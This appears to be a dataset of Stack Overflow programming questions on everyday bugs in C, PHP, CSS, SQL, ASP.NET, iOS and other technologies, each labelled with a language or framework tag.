column_name is neither a datacolumn nor a datarelation for table defaultview  i have no idea what is happening here  this code works and nothing wrong with it  then suddenly it gives the mentioned error with no reasons and then the error disappears. the error is in the line     >   <pre><code>&lt;asp:sqldatasource id= sqldatasourcecountries  runat= server  connectionstring= &lt;%$ connectionstrings:applicationservices1 %&gt;                  selectcommand= select        [countryid]  [country]                           (select        count(jobid) as [j]                             from            [job]                             where        ([country].[countryid] = [countryid])) as [jobcount]                             from            [country] as [country] order by [jobcount] desc  [country] asc &gt;             &lt;/asp:sqldatasource&gt;              &lt;script type= text/javascript &gt;                 $(document).ready(function () {                     $( ul[id*=myid] li ).click(function () {                          document.getelementbyid( &lt;%= divcountries.clientid %&gt; ).style.visibility =  hidden ;                          document.getelementbyid( pselectedcountry ).innerhtml = $(this).html();                         $( #&lt;%=hselectedcountryid.clientid%&gt; ).val(this.id);                         $( #&lt;%=hselectedcountryname.clientid%&gt; ).val(this.innerhtml);                         control1onloadhandler();                      });                 });             &lt;/script&gt;             &lt;ul id= myid  class= bulletedlist &gt;                 &lt;asp:repeater id= repeatercountrylist  runat= server  datasourceid= sqldatasourcecountries &gt;                     &lt;itemtemplate&gt;                         &lt;li id= &lt;%# eval( [countryid] ) %&gt; &gt;&lt;a&gt;                             &lt;%# eval( [country] ) %&gt;&lt;/a&gt; &lt;a style= color: #808080; font-weight: normal; &gt;(&lt;%# eval( [jobcount] ) %&gt;)&lt;/a&gt;                         &lt;/li&gt;                     &lt;/itemtemplate&gt;                 &lt;/asp:repeater&gt;             &lt;/ul&gt; </code></pre>,asp.net
parsing a template from an object in angularjs  i got a data structure like this   <pre><code>var abc = [               {question:  do {{foo}} like &lt;strong&gt;you&lt;/strong&gt;  }                {question:  do {{foo}} like &lt;strong&gt;fruits&lt;/strong&gt;  }           ]; </code></pre>   a template like this   <pre><code>&lt;h1&gt;question&lt;/h1&gt; &lt;span&gt; {{question}} &lt;/span&gt; </code></pre>   and in my controller something like this:   <pre><code>$scope.foo =  example   $scope.question = abc[0].question; </code></pre>   as you probably know this does not work.    how could i parse string to a template to use it with variables,angularjs
error with rand() function: same numbers into a for loop  i have a problem with the rand() function. i would like to randomly generate eps values  different one from each other for i=0 ... vol.  however  when i print eps  it is always the same.  could you please tell what it is wrong in my code  thank you.   <pre><code>    ...     #include &lt;time.h&gt;     ...      void function(...);      int main(){      function();      return 0;     }      void function(...){      srand((unsigned int)time(null));     ...      for(i=0;i&lt;vol;i++){              signal1[i]=0.; // no signal              eps=rand()/(rand_max+0.5);              if(signal1[i]==(min+max)){                   net[i]= 0;                   exp[i]=a+eps;                  printf( eps: %f\n   eps);              }      }     } </code></pre>   the full part of the code (to copy the entire code is impossible as it is very long) is:    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt; #include &lt;time.h&gt;  #define vol 15  #define max 10 #define min 0  float random_sign_high[vol]={2 2 2 2 2 2 2 2 2 1 1 1 1 1 0}; float random_sign_low[vol]={2 2 2 2 2 2 2 2 1 1 1 1 1 0 0};  void function();  int main(){  function();  return 0; }  void function(){ ... srand((unsigned int)time(null));  for(i=0;i&lt;vol;i++){          signal1[i]=0.; // no signal         signal2[i]=0.; // no signal           if(h_pr!=0){              shuffle_signals(random_sign_high);         }          if(l_pr!=0){             shuffle_signals(random_sign_low);         }          eps=rand()/(rand_max+0.5);         printf( eps: %f\n   eps);          if(tot_sig==(min+max)){              net[i]= 0;              exp_p[i]=a+eps;          } </code></pre>   and the shuffle function is:    <pre><code>double shuffle_signals(float array[vol])  {     srand((unsigned int) time(null));      if(vol&gt;1)     {         int i j t;         for(i=0; i&lt;vol;i++)         {             j=i+rand()/((float)rand_max/(vol-i)+1.);             t=array[j];             array[j]=array[i];             array[i]=t;              if(array[i]==1){                 signal2[i]=min;                 signal1[i]=max;             }             else if(array[i]==0){                 signal2[i]=min;                 signal1[i]=min;             }             else if (array[i]==2){                 signal1[i]=max;                 signal2[i]=max;             }             tot_sig= signal1[i]+signal2[i];         }         // printf( tot_sign: %lf\n   tot_sig);     }     return tot_sig; }  } </code></pre>   the other parts are irrelevant. you can think  a  be a constant  h_pr=0.5 and l_pr=0.1 thanks a lot.,c
how to remove link from simple dom html data  i have this code  i get the info but with this i get the data + the link for example   <pre><code>require_once( simple_html_dom.php ); set_time_limit (0);  $html = www.domain.com ;     $html = file_get_html($url);         // i read the first div     foreach($html-&gt;find( #content ) as $element){      // i read the second         foreach ($element-&gt;find( p )  as $phone){             echo $phone; </code></pre>   mobile pixel 2 - google &lt;&lt; there the link    but i need remove these link  the problem is the next  i scrape this:   <pre><code>&lt;p&gt;the info that i really need is here&lt;p&gt;      &lt;p class= text-right &gt;&lt;a class= btn btn-default espbott aplus  role= button        href= brand/google.html &gt;google&lt;/a&gt;&lt;/p&gt; </code></pre>   i read this: <a href= https://stackoverflow.com/questions/8227481/simple-html-dom-how-to-remove-elements >simple html dom: how to remove elements </a> but i cant find the answer    update: if i use this:   <pre><code>foreach ($element-&gt;find( p[class= text-right ] ); </code></pre>   it will select the links but can t remove scrapped data,php
mysql - move data from one table to a related one   i have two tables  structured like so:   <pre><code>table a:    a_id    varchar(32) primary key    field1  varchar(255)    field2  varchar(255)    b_id    varchar(32)  table b:    b_id    varchar(32) primary key    field1  varchar(255)    field2  varchar(255) </code></pre>   a contains a foreign key to table b (note that 1 b could have more than 1 a). i d like to insert the data from table b to it s matching table a (field1 and field2 is empty for every row in table a currently). is there a way to do this purely with mysql,mysql
create object from class stored in variable  i have a public abstract class <code>animal</code> with subclasses <code>dog</code>  <code>cat</code>  <code>mouse</code>. i am parametrizing tests and i d like to use the type as a parameter. i am following <a href= https://www.tutorialspoint.com/junit/junit_parameterized_test.htm  rel= nofollow noreferrer >this</a>. is there a way to store the type in a variable  for example my test might be:   <pre><code>@test public void test_cat() {cat(name= tom );}  @test public void test_mouse() {mouse(name= jerry );}  @test public void test_dog() {dog(name= spike );} </code></pre>   i d like to parametrize this so that the concrete type is in a variable and then instantiated <code>object concreatetype = cat.class; concretetype(name= tom )</code>.,java
align different texts in different spans to same line  i m trying to make a table which gets some information from database. but data has different styles  for e.g. different font-sizes. therefore they need to be in same line.   <h2>html</h2>  <pre class= lang-html prettyprint-override ><code>&lt;div id= parent &gt;     &lt;span id= first &gt;first&lt;/span&gt;     &lt;span id= second &gt;second&lt;/span&gt; &lt;/div&gt; </code></pre>  <h2>css</h2>  <pre class= lang-css prettyprint-override ><code>span { vertical-align: text-bottom; } #first {     font-size:200%;    }  #second {     font-size: 100%; } </code></pre>   but these codes did not fix this problem. here is an example <a href= http://jsfiddle.net/bmbwr/92/  rel= nofollow >fiddle</a>.,css
setting light status bar objective-c ios 10  i am trying to set the status bar to while (light). i have tried everything but still cannot figure out what is going wrong.     <a href= https://i.stack.imgur.com/bgrry.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bgrry.png  alt= enter image description here ></a>    in info.plist i have the following:    <pre><code>view controller-based status bar appearance no   - (uistatusbarstyle)preferredstatusbarstyle {     return uistatusbarstylelightcontent; } </code></pre>,ios
recursive function descending output <pre><code>void prikaz(int k  int n) {     printf( %d\t  k);      if(k&lt;n)          prikaz(k+1 n);      printf( %d\t  k); }  prikaz(2 6); </code></pre>   i cant wrap my head around the output of this recursive loop  i can follow through till numbers start to descend but i dont understand why they descend.,c
border not surrounding the image in div <pre><code>http://74.52.155.226/~projtest/team/harmeet/smoke51/products.html </code></pre>   that is the design that i am currently working on. if you inspect element on the banner below the navigation you can see that the 10px solid white border is taking some gap below the image. i am puzzled as to where is that coming from as logically the border should surround the image only no matter what the height of image is.,css
radio button list not checked properly when using timer on same page  i m using radio button list  but not checked properly when using timer on same page going unchecked automatically   if two are three times click on radio button list then selected.       <pre><code> &lt;asp:updatepanel  id= updpanel   runat= server  &gt;      &lt;triggers&gt; &lt;asp:asyncpostbacktrigger controlid= timer1      eventname= tick  /&gt; &lt;/triggers&gt;       &lt;contenttemplate&gt; </code></pre>,asp.net
invisible (transparent) font color with css on all major browsers  is it possible to make the font (font-color) transparent while using any color like black or white  just have the font slowly disappear  like <code>display:none</code>. thanks,css
commandline arguments in python  i m expecting arguments in this format   <pre><code>filname.py -input= a   b   c  </code></pre>   currently  i m parsing command line parameters by this code   <pre><code>dict(item.split( = ) for item in sys.argv[1].split(   )) </code></pre>   is there any better way to read command line arguments. i tried using optionparser but optionparser requires key value pairs to be separated by space.,python
how to redirect anchor tag for particular data of page in angular js   i have 2page one is category page and other is product page  in category page when i click on particular sub category then related to that sub category  product should be visible on product page. i have api for both and id of category and subcategory present in product api.    please help me out to solve this problem.,angularjs
debug help! i keep getting garbage here (sometimes)  sometimes when i play with the input of this function (dates) i get garbage  description:   <pre><code>&lt; php    function optimized_subscription_total($active_sub_time $arr_sub_values) {      // this function takes a row from the db where prices for each period of time usage is listed. there are prices for 1 month  3 months 6 and 12 months.      // when the user has subscribed for 12 months  and the user asks for a refund  after they used 9 months and 6 days for example  the system treats the refund as if they subscribed for (in months) cost_6 + cost_3 + (cost_1/30)*6      // the result of the function is then subtracted from the amount they actually paid and is considered the refund.      // $arr_sub_values is the associative row from the db  containing the prices     // $active_sub_time is measured in months and is a double      $result=0;     if(($active_sub_time-6)&gt;=0)     {         $active_sub_time-=6;         $result+=($arr_sub_values[ cost_6 ]);     }     if(($active_sub_time-3)&gt;=0)     {         $active_sub_time-=3;         $result+=($arr_sub_values[ cost_3 ]);     }      while(($active_sub_time-1)&gt;=0)     {         $active_sub_time-=1;         $result+=($arr_sub_values[ cost_1 ]);     }      if($active_sub_time&gt;0)         $result+=($active_sub_time)*($arr_sub_values[ cost_1 ]);      return $result; }    $datetime1 = date_create( 2009-12-11 ); $datetime2 = date_create( 2010-11-09 ); $interval = date_diff($datetime1  $datetime2); $num_of_months = ($interval-&gt;format( %y ))*12+($interval-&gt;format( %m ))+($interval-&gt;format( %a ))/30; echo  &lt;br /&gt; ;  $v = array( cost_1 =&gt; 3.99   cost_3 =&gt; 9.99   cost_6 =&gt; 15.99   cost_12 =&gt; 25.99 ); echo  opt value for $num_of_months months=  . optimized_subscription_total($num_of_months  $v);    &gt; </code></pre>   i can t make out why i get :   <pre><code>opt value for 10 months=m.97 </code></pre>   as a result here. i think i need to get a float number  no      i was expecting the result of the function that should be  opt value for 10 months=29.97   as it should take cost_6 + cost_3 + cost_1... but i get that weird m.97  and sometimes things like pokhhhg.97    here s the same function rewritten:   <pre><code>    function optimized_subscription_total($active_sub_time $arr_subscription_values) {      $result=0;   while(($active_sub_time-12)&gt;=0) {     $active_sub_time-=12;     $result+=($arr_subscription_values[ cost_12 ]); }  if(($active_sub_time-6)&gt;=0) {     $active_sub_time-=6;     $result+=($arr_subscription_values[ cost_6 ]); } if(($active_sub_time-3)&gt;=0) {     $active_sub_time-=3;     $result+=($arr_subscription_values[ cost_3 ]); }  while(($active_sub_time-1)&gt;=0) {     $active_sub_time-=1;     $result+=($arr_subscription_values[ cost_1 ]); }  if($active_sub_time&gt;0)     $result+=($active_sub_time)*($arr_subscription_values[ cost_1 ]);  return $result; </code></pre>   }    i just hope this doesn t break. but can someone tell me what could have been wrong on the first version   what could that be      <strong>edit:</strong> i made this bug appear after refreshing the page around 10 times  now i get a weird i.004  thanks !!,php
tableview does not display data  i am passing data from a webservice to a table view. the web service is working fine  but the tableview is not displaying the data every time.    after the first or second time  the table view is blank. here is the code :   <pre><code>-(uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath    {     static nsstring *cellidentifier=@ cell ;     uitableviewcell *cell=[tableview dequeuereusablecellwithidentifier:cellidentifier];     nslog(@ %@  appdelegate.longelistarray);     nsdictionary *dics = [appdelegate.longelistarray objectatindex:indexpath.row];      if(cell==nil)     {         cell=[[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier]autorelease];          uiimageview *img=[[uiimageview alloc] init];         img.image=[uiimage imagenamed:@ image_clipart.gif ];         img.tag=1;         [cell.contentview addsubview:img];          uilabel *lblname=[[uilabel alloc] init];         lblname.tag=2;         lblname.backgroundcolor=[uicolor clearcolor];         lblname.font=appdelegate.fontsmall;         lblname.textalignment=uitextalignmentleft;         lblname.textcolor=appdelegate.bluecolor;         [cell.contentview addsubview:lblname];          uiview *imgview=[[uiview alloc] init];         imgview.tag=3;         imgview.backgroundcolor=[uicolor clearcolor ];         imgview.autoresizingmask=uiviewautoresizingflexibleleftmargin;          [cell.contentview addsubview:imgview];         uilabel *lblcomments=[[uilabel alloc] init];         lblcomments.tag=4;         lblcomments.backgroundcolor=[uicolor clearcolor];         lblcomments.font=appdelegate.fontsmall;         lblcomments.textalignment=uitextalignmentleft;         lblcomments.numberoflines=4;         lblcomments.autoresizingmask=uiviewautoresizingflexiblewidth;         lblcomments.textcolor=appdelegate.captioncolor;         [cell.contentview addsubview:lblcomments];          uilabel *lbldatetime=[[uilabel alloc] init];         lbldatetime.tag=5;         lbldatetime.backgroundcolor=[uicolor clearcolor];         lbldatetime.font=appdelegate.fontsmall;        // lbldatetime.textalignment=uitextalignmentright;         lbldatetime.autoresizingmask=uiviewautoresizingflexibleleftmargin;         lbldatetime.autoresizingmask=yes;         lbldatetime.textcolor=appdelegate.datacolor;         [cell.contentview addsubview:lbldatetime];          if(appdelegate.isipad)         {             img.frame=cgrectmake(10  10  75  75);             lblname.frame=cgrectmake(100  5  450  25);             lblcomments.frame=cgrectmake(100  25  600  100);             lbldatetime.frame=cgrectmake(110  80  600  100);             imgview.frame=cgrectmake(125  10  160  32);         }         else         {             img.frame=cgrectmake(10  10  50  50);             lblname.frame=cgrectmake(70  5  130  25);             lblcomments.frame=cgrectmake(70  25  240  100);             lbldatetime.frame=cgrectmake(70  80  240  100);             imgview.frame=cgrectmake(200  10  110  25);         }          if(appdelegate.selectedlanugage == arabiclanguage)         {             [appdelegate changeuiforarabic:cell.contentview];             imgview.autoresizingmask=uiviewautoresizingflexiblerightmargin;             img.autoresizingmask=uiviewautoresizingflexibleleftmargin;         }         [img release];         [lblname release];         [imgview release];         [lblcomments release];         [lbldatetime release];     }     uilabel *lblname=(uilabel *)[cell viewwithtag:2];     uilabel *lblcomments=(uilabel *)[cell viewwithtag:4];     uilabel *lbldatetime=(uilabel *)[cell viewwithtag:5];     uiview *ratingview=(uiview*)[cell.contentview viewwithtag:3];      int x=0;     int rating=[[dics valueforkey:@ lounge_rating ] intvalue];     for(int i=0;i&lt;rating;i++)     {         uiimageview *imgrating=[[uiimageview alloc] initwithimage:[uiimage imagenamed:@ rating_orange.png ]];         if(appdelegate.isipad)         {             imgrating.frame=cgrectmake(x  0  25  26);             x+=27;         }         else          {             imgrating.frame=cgrectmake(x  0  17  17);             x+=19;         }          imgrating.backgroundcolor=[uicolor clearcolor];         [ratingview addsubview:imgrating];      }     for(int i=0;i&lt;(5-rating);i++)     {         uiimageview *imgrating=[[uiimageview alloc] initwithimage:[uiimage imagenamed:@ rating_grey.png ]];         if(appdelegate.isipad)         {             imgrating.frame=cgrectmake(x  0  25  26);             x+=27;         }         else          {             imgrating.frame=cgrectmake(x  0  17  17);             x+=19;         }         imgrating.backgroundcolor=[uicolor clearcolor];         imgrating.autoresizingmask=uiviewautoresizingflexiblerightmargin;         [ratingview addsubview:imgrating];         [imgrating release];         imgrating = nil;      }       if(!searchflag)     {         lblname.text=[dics valueforkey:@ name ];         lblcomments.text=[dics valueforkey:@ lounge_title ];         lbldatetime.text=[appdelegate getdatetimeserverformatted:[dics valueforkey:@ start_date ]];     }     else      {         lblname.text=[dics valueforkey:@ name ];         lblcomments.text=[dics valueforkey:@ discussion_title ];         lbldatetime.text=[appdelegate getdatetimeserverformatted:[dics valueforkey:@ added_date ]];     }      uiimage *imgtemp =(uiimage*)[dics valueforkey:@ userimage ];     uiimageview *imgview=(uiimageview*)[cell.contentview viewwithtag:1];     if(imgtemp)         imgview.image=imgtemp;     else          imgview.image=[uiimage imagenamed:@ image_clipart.gif ];      cell.selectionstyle=uitableviewcellselectionstylenone;          return cell; } </code></pre>,iphone
how to create a unique function with its own pointer in javascript   calling getfunction will return a unique function every time  right    <pre><code>var getfunction = function() {     var myfunction = function() {     };     return myfunction; }  var function1 = getfunction(); var function2 = getfunction();  function1 === function2; // false </code></pre>,javascript
content loaded by jquery load() adapts css styling of parent page  i have tried for a while and i don t know if it s my search skills  if no one has asked the question before or if it s even possible.    currently i am loading a file using <code>.load( path/to/file.php );</code> but the file i am loading inherits all the styling from the site its loaded to.    is it possible to load the file without adapting the styling from the site it s being loaded into     there are no options in the <code>.load()</code> api that mentions this problem  and i do imagine that in most cases it s not an issue. my options are to re-declare every style element for the included file  which is a major task and seems quite unnecessary for this situation.,jquery
problems with using voice interactions with new api 23  i m working with new voice interaction api. i ve read document at google developer but something and run example at <a href= http://io2015codelabs.appspot.com/codelabs/voice-interaction  rel= nofollow >http://io2015codelabs.appspot.com/codelabs/voice-interaction</a>. from that demo code  have something which i m not clear   <ol> <li>the demo camera app use to google app to start app through voice interaction. how can i start app by different method with voice interaction </li> <li>the demo app started by using command  take a selfie  in google app. how do i customize this command </li> </ol>   hope your help!!!,android
how to keep values static even when page is refreshed  i m working on a movie ticket booking . so when i book a ticket the values are selected  n when i refresh it gets vanish. can anyone help me so that. if one user has book a seat . then that seat should be unavailable to other user.,.net
css: get  disabled  input background color   is there a special css system color equivalent to the system s disabled text input background color   i know there s one for the disabled <em>text</em> color (<code>graytext</code>)  but i can t find one for the <em>background</em> color.    to make it more clear  i m looking for the background color that gets set when you do something like:   <pre><code>&lt;input type= text  disabled /&gt; </code></pre>   i don t want to restyle disabled inputs; i want to use the existing system style elsewhere.    <strong>edit:</strong>    to be even more clear  i m looking for the <strong>system color keyword</strong>  not the actual color.  for example  to use the system s defined disabled <em>text</em> color  you would do this:   <pre><code>&lt;span style= color: graytext; &gt;this text looks like disabled text in your operating system&lt;/span&gt; </code></pre>   i just can t find the one for the <em>background</em> color.,css
nav bar is cut off in google chrome  i am stumped. when i view my temp. file in firefox it displays the full nav bar but when i view in  google chrome it cuts off the end of the  contact  button. i have spent so much time trying to fix  this to no avail....i have also tried firebug with no luck.     can anyone shed some light on this  i am very new at this so would appreciate any input...    <a href= http://360webmedia.com/indexjuly9.html  rel= nofollow >link to site</a>,css
error: lvalue required as left operand of assignment linux  i am working on raspberry pi.and writing code for keypad in linux. i have defined a macro    <pre><code>#define all_col_high  ((gpio_set(col1) | goio_set(col2) | gpio_set(col3) | gpio__set(col4))) </code></pre>   whenever i am using <code>all_col_high</code> getting error: lvalue required as left operand of assignment  and set function definition is   <pre><code>#define gpio_set(g)  *(gpio.addr + 7) |=  (1&lt;&lt;(g)) </code></pre>,c
assigning a default value to a property  i have an xml like so:   <pre><code>&lt;settings&gt;   &lt;user default= programmer &gt;&lt;/user&gt;   &lt;level default= 2 &gt;&lt;/level&gt; &lt;settings&gt; </code></pre>   this is deserialized to an object of type usersettings:   <pre><code>[serializable] [xmlroot( settings )] public class usersettings {     [xmlelement( user )]     public string user { get; set; }      [xmlelement( level )]     public string level { get; set; }  } </code></pre>   the usersettings object gives whatever the values are there for the tags at runtime.    i want the class to return the default attribute value when either the tag is empty or the tag is absent in the incoming xml.    so if there is an object objusersettings of type usersettings then    <code>objusersettings.user</code>    should give  programmer   or whatever is in default attribute value in the xml if the tag user is empty.    regards.,c#
how to save values of nsuserdefault in array and how to retrieve and post  i hav to save the values of nsuserdefault to the array and later on have to post the values   bu usind http post  m trying this code its working perfactly (when i reopen my application values reappear on the screen)but when i input tte values....it displays userneme=null database=null.....)what should i have to do.should i have to save nsuserdefault s value to array and then post    plz help me out.....code would be appreaciated...thanx in advance    [nsuserdefaults resetstandarduserdefaults];   <pre><code>nsuserdefaults *storedata = [nsuserdefaults standarduserdefaults]; [storedata setobject:utextfieldnormal.text forkey:@ username ]; [storedata setobject:urltextfieldnormal.text forkey:@ url ]; [storedata setobject:dtextfieldnormal.text forkey:@ database ];    [storedata setobject:utextfieldnormal.text forkey:@ username ]; [storedata setobject:urltextfieldnormal.text forkey:@ url ]; [storedata setobject:dtextfieldnormal.text forkey:@ database ];  nsstring *val1= [storedata valueforkey:@ username  ]; nsstring *val2= [storedata valueforkey:@ url ]; nsstring *val3= [storedata valueforkey:@ database  ];    //nslog(@ username:%@  username); nslog(@ username:%@  val1); nslog(@ url:%@  val2); nslog(@ database:%@  val3);  [storedata synchronize]; </code></pre>,objective-c
how to read and save data from text file   i need help understanding how to save the data into variables. what if i had a data of 100 lines  then i might need 100 variables  please give me some understanding on how i approach this problem. thank you so much!   <pre><code>void show_addon(){    file *afp; //pointer for addon text file    char text_file[250];     afp = fopen( addon.txt    r ); //opens txt file and reads only     puts( ---------------------------------------------------- );    puts(  --------------------add-ons-----------------------  );    puts( ---------------------------------------------------- );     // printf( %s\n   text_file );    fscanf(afp   %5[^:]:%[^:]:%f:%[^\n]\n   addon1.code  addon1.name  &amp;addon1.price  addon1.description);    fscanf(afp   %5[^:]:%[^:]:%f:%[^\n]\n   addon2.code  addon2.name  &amp;addon2.price  addon2.description);    fscanf(afp   %5[^:]:%[^:]:%f:%[^\n]\n   addon3.code  addon3.name  &amp;addon3.price  addon3.description);    fscanf(afp   %5[^:]:%[^:]:%f:%[^\n]\n   addon4.code  addon4.name  &amp;addon4.price  addon4.description);    fscanf(afp   %5[^:]:%[^:]:%f:%[^\n]\n   addon5.code  addon5.name  &amp;addon5.price  addon5.description);     if ((afp = fopen( addon.txt    r ))== null)    {        puts( file could not be found );     } else {             printf( code  : %s\n  addon1.code);        printf( name     : %s\n  addon1.name);        printf( price    : rm %.2f\n  addon1.price);        printf( description    : %s\n  addon1.description);        printf( ---------------------------------------\n );        printf( code  : %s\n  addon2.code);        printf( name     : %s\n  addon2.name);        printf( price    : rm %.2f\n  addon2.price);        printf( description    : %s\n  addon2.description);        printf( ---------------------------------------\n );           printf( code  : %s\n  addon3.code);        printf( name     : %s\n  addon3.name);        printf( price    : rm %.2f\n  addon3.price);        printf( description    : %s\n  addon3.description);        printf( ---------------------------------------\n );        printf( code  : %s\n  addon4.code);        printf( name     : %s\n  addon4.name);        printf( price    : rm %.2f\n  addon4.price);        printf( description    : %s\n  addon4.description);        printf( ---------------------------------------\n );        printf( code  : %s\n  addon5.code);        printf( name     : %s\n  addon5.name);        printf( price    : rm %.2f\n  addon5.price);        printf( description    : %s\n  addon5.description);     }      puts( ------------------------------------------------------------------------------ );     fclose(afp); //close txt file    return 0; } </code></pre>,c
finding row based on the number of occurrence of the where clause  i have a table defined as this:   <pre><code>create table a_test  (      id    number not null enable       type  varchar2(20 byte)  ) </code></pre>  <ul> <li>id is not a primary key.</li> <li>type might be null</li> <li>an id i can have 0  1 or more types.</li> </ul>   if i want to get ids with differents types i will write this query:   <pre><code>select distinct a1.id from a_test a1   join a_test a2 on a2.id = a1.id and a2.type != a1.type </code></pre>   but how can i find ids for which i have a single type defined <br> (only one row for id or many rows for id with only one having a type defined),sql
problem with character encoding of    why does this page    <a href= http://reboltutorial.com/cgi-bin/designpatterns-quiz.cgi  rel= nofollow noreferrer >http://reboltutorial.com/cgi-bin/designpatterns-quiz.cgi</a>    shows a   in the sentence (at least on my firefox)   <blockquote> <pre><code>separates an object’s abstraction from its implementation </code></pre> </blockquote>   whereas i am using utf-8,html
cannot convert (*)[] to **  if i create a file:    test.cpp:   <pre><code>void f(double **a) {  }  int main() {     double var[4][2];     f(var); } </code></pre>   and then run: g++ test.cpp -o test    i get   <pre><code>test.cpp: in function `int main() : test.cpp:8: error: cannot convert `double (*)[2]  to `double**  for argument `1   to `void f(double**)  </code></pre>   why is that i can t do this      isn t double var[4][2] is the same as doing double **var and then allocating the memory,c++
bind click event to anchor tag in for each loop in jquery  i am trying a bind a click event to dynamically created attribute.   <pre><code>$.each(data  function(index  names){     $( #names ).append( &lt;tr&gt;&lt;td&gt; +id+ &lt;/td&gt;&lt;td&gt;&lt;a href= marks.jsp  id= test  style= color:red;font-size:11px; &gt; +subect + &lt;/td&gt;&lt;/tr&gt; ); }); </code></pre>   on display page hyperlink will be added to subject and when clicked it has to open to marks.jsp.    thanks,jquery
mysql - order by exact match at the end  i have a table like this   <pre><code>id    sport 1     cricket 2     football 3     other 4     racing </code></pre>   how can i get this list order by <code>sport</code> but still i get  other  at the end.,mysql
embed external video using url link in asp.net webpage  i have my external url link of a video in my sql server.how do i embed that video using my url link in asp.net page  any suggestions will be helpfull.thanks in advance.,asp.net
how to show large amount of data in page wise using html   how to show large amount of data in page wise using html and how to restrict the page data.    ex:suppose if we save the page using browser the data should not be saved by the users.,html
conversion failed when converting the nvarchar value  900905   to data type int  i have below sp.   <pre><code>   alter procedure [dbo].[stpxxxx]       @id  int = null      @fkcomid int = null      @type int = 1      as     begin     if (@type = 1)      begin    ----query a      select     member.pkid  member.fkid  person.id  member.fkid  member.startdate     from         member inner join                           person on member.fkid = person.pkid      where     (person.id = @id)and (member.fkid = @fkcomid)      end           else     begin      ----query b      select     pre.pkid  pre.fkid  pre.fkpersonid      from         pre inner join                           person on pre.fkid = person.pkid     where     (person.id = @id) and (pre.fkid = @fkcomid)       end </code></pre>   if (@type = 1) there was a error    <pre><code>conversion failed when converting the nvarchar value  900905   to data type int. </code></pre>   if i swap the query a and b it aslo gettion erroe with  if (@type = 1). what is wrong with my sp.,sql
asp.net timestamp issue  this i my code for storing record information from asp.net 2.0 webform   <pre><code>         scmd.connection = scon; //connection string         sqlparameter p = scmd.createparameter();          recodname = txtrecordname.text;  //form field         todaysdate = datetime.parse(txtfrom.text);          datetime now = datetime.utcnow;         addparameters( @record   recodname);  //adding parameter to stored procedure         addparameters( @date   todaysdate);         addparameters( @timeinfo   now);         scmd.commandtext =  sp_insertrecord ;         scmd.commandtype = commandtype.storedprocedure;         scon.open();         int i=scmd.executenonquery();     if (i &gt; 0)         {             result.text =  record inserted recordname :   + recodname; //label displaying  recordinfo             dateinfo.text =  record inserted on (timestamp info) :   + now;  //label displaying time info when user inserted record         }         gridview1.databind(); </code></pre>   this web application is hosted on server whose timezone is (utc+05:30) chennai  kolkata  mumbai  new delhi  now user from another system access the application whose time zone is (utc+01:00) west central africa  as you can see i have inserted  datetime now as utcnow  but when user view the record inserted it must be in its local datetimeformat    i.e dateinfo.text =  timestamp info :   + now;  //this label should display local time info currently it displays server local time where the application is hosted    thanxs for any help,asp.net
how can i make a class  public except for  this assembly   i have <code>class foo</code> in a library project that i would like to prevent using in my application project. i am reworking my application to not use <code>class foo</code> but i have to do this incrementally. <code>class foo</code> is used in the library so excluding the file is not an acceptable answer. so how can i make my application blind to <code>class foo</code>  also note i cannot make it <code>internal</code> because other libraries need <code>class foo</code>.,c#
play selected songs  i have a reqiurement  i need to play multiple audio songson asp.net page.can anyone suggest the best way to implement this.    i have page. there i will display the list of the songs in grid view. the gridview contains checkboxes and songs name. user should able to select the multiple check boxes and click play.    when ever user click play button on new popup window i have to play the all audio songs selected by user one by one.    i will appreciate your help.,asp.net
best way to store a list of points  i want to store (mass storage) a list of points; to be more precise it is a list that contains  a number not defined (but not exceeding 200) of groups of coordinates  where each group represents an <em>area</em> (a rectangle). this <em>area</em> could be for example a <a href= http://msdn.microsoft.com/en-us/library/system.windows.rect.aspx  rel= nofollow ><code>rect</code></a> structure.    <strong>what is the best way for me:</strong><br> in order of importance:   <ol> <li>occupied space in storage memory (obviously less is better).</li> <li>ease with which the file is modified (would be better to be able to identify and change the single coordinate  instead of rewrite the entire file due to a change).</li> <li>speed ​​reading.</li> <li>speed writing.</li> </ol>   i already had some ideas on how to set up the work (for example simple text format managed by a custom class  serialization  access database (i can only use an access database)  ...)  but what is the best solution,.net
is mac id retrieval on ios devices valid or not   could someone please tell if the retrieval of mac id on ios devices permitted by apple or does the it reject my application  while submission to app store,ios
prevent soft input keyboard from disappearing when display dialog on acitivity  i am trying to show dialog when user touch on edit text. the problem is when i show the dialog  the keyboard is disappear. how to solve this problem  i think this is because when show dialog  the activity loose focus. there is a similar question in so. <a href= https://stackoverflow.com/questions/27458677/when-dialog-is-showing-outside-edittext-in-activity-not-showing-the-soft-keyboa >when dialog is showing  outside edittext in activity not showing the soft keyboard in android</a>. but that answer does not work for me. i am using custom dialog which extends android dialog classs.     <pre><code>dialog.getwindow().clearflags(windowmanager.layoutparams.flag_not_focusable|windowmanager.layoutparams.flag_alt_focusable_im); dialog.getwindow().setsoftinputmode(windowmanager.layoutparams.soft_input_state_visible); </code></pre>,android
css box-sizing inherit cross browsers  when i work on one of my projects i found that the css box-sizing property is not automatically inherit in firefox. chrome  however  will do the work for you. in my case  it s like:    <code>&lt;form style= box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; &gt;   &lt;input id= input1 &gt;&lt;/input&gt;   &lt;input id= input2 &gt;&lt;/input&gt; &lt;/form&gt;</code>    the box-sizing property is not inherited by the two inputs in firefox.     am i supposed to add it to the child nodes manually in the future  is any convention i missed     thanks!,css
asp more quotes in function inside a tag element  i m trying to make <em>alert</em> with value from <em>databinder</em> inside a tag element. i try many variations with quotes  but still no success.    my code   <pre><code>onclientclick= alert(&lt;%# databinder.eval(container.dataitem   path    {0} )%&gt;);  </code></pre>   any idea  thanks,asp.net
is there any way to bundle the .net 4.5.1 framework with my desktop application   it s a .net desktop application for windows.     is there any way to bundle the required framework files with the application so that users don t need to install it     currently  the application itself requires no installation and runs out of a share drive. i would like to somehow bundle the required framework files in that public folder so that users could run the application without installing the framework.,.net
python max() and min() values for bool  in python interpreter    <pre><code>min(true false)==false max(true false)==true </code></pre>   is assured by design,python
